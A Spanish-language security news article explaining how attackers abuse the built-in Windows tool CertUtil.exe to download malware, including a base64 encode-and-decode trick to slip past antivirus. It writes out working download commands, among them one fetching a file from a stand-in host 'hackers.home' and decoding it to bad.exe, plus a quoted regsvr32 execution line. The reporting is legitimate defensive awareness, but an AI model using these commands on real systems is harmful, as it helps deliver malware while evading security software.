CertUtil.exe podría permitir que los atacantes descarguen malware mientras pasan por alto el antivirus
Windows tiene un programa incorporado llamado CertUtil, que se puede usar para administrar certificados en Windows. Con este programa, puede instalar, realizar copias de seguridad, eliminar, administrar y realizar diversas funciones relacionadas con certificados y almacenes de certificados en Windows.
Una de las características de CertUtil es la capacidad de descargar un certificado, o cualquier otro archivo para ese asunto, desde una URL remota y guardarlo como un archivo local usando la sintaxis "certutil.exe -urlcache -split -f [URL] output.file".
El investigador de seguridad Casey Smith tuiteó en 2017 su preocupación de que este método se pueda usar para descargar malware.
certutil -urlcache -split -f [serverURL] file.blah
— Casey Smith (@subTee) 20 de julio de 2017
regsvr32.exe /s /u /I:file.blah scrub.dll
Makes a nice pairing.
Las preocupaciones de Smith estaban justificadas ya que los atacantes han estado utilizando CertUtil para descargar malware bastante tiempo. Esta muestra lo utilizó en 2016 y un troyano reciente de marzo de 2018 también lo utiliza para descargar varios archivos de lotes y scripts a un ordenador infectado.
**¿Te estás preguntando por qué los atacantes usarían CertUtil cuando ya tienen un punto de apoyo en el ordenador? **Esto se debe a que algunos ordenadores pueden estar bloqueadas para que las aplicaciones desconocidas no puedan descargar esos programas. Al usar un programa integrado de Windows, existe la posibilidad de que CertUtil se incluya en la lista blanca de los programas de seguridad instalados y, por lo tanto, le permita descargar archivos.
Esta utilización de programas legítimos de Windows para descargar y ejecutar malware no es posible ya que el ejecutable de Windows regsvr32.exe se puede usar de manera similar.
Uso de CertUtil + Base64 para eludir el software de seguridad
Hoy, el asesor de seguridad e ISC Handler Xavier Mertens publicó en su web un post que agrega un giro al uso de CertUtil que puede facilitar que las descargas de los atacantes no sean detectadas por los dispositivos de seguridad. Esto consiste en codificar el archivo malicioso en base64 para que aparezca como texto inofensivo y luego descodificarlo después de haberlo descargado usando CertUtil.exe.
Como ya se discutió, puede descargar un archivo usando CertUtil.exe usando el siguiente comando:
certutil.exe -urlcache -split -f [URL] output.file
Esto descargará el archivo en su forma original y lo guardará en el ordenador. El problema con este método es que los antivirus pueden detectar el archivo como malicioso y bloquearlo.
Para superar esto, a Mertens se le ocurrió la idea de que se codifique el archivo malicioso en base64 para que aparezca como texto inofensivo. Luego, una vez que se descarga el archivo de texto, se puede usar el comando "certutil.exe -decode" para decodificar el archivo codificado en base64 en el archivo ejecutable.
Esto se ilustra en el diario del controlador de Mertens.
C:\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt
C:\Temp>certutil.exe -decode bad.txt bad.exe
Este método potencialmente pasa sin ser detectado y luego se convierte de nuevo en el ejecutable en la máquina local donde puede no ser tan seguro.
Si bien, no sabía que esto realmente se utilizara, MalwareHunterTeam dijo que el uso de certutil.exe -decode ya se está utilizando. Se pueden ver ejemplos en estas muestras. Además, después de la publicación, también descubrimos este artículo de F5 Labs que detalla una campaña que utiliza CertUtil.exe para instalar coinminers en Windows.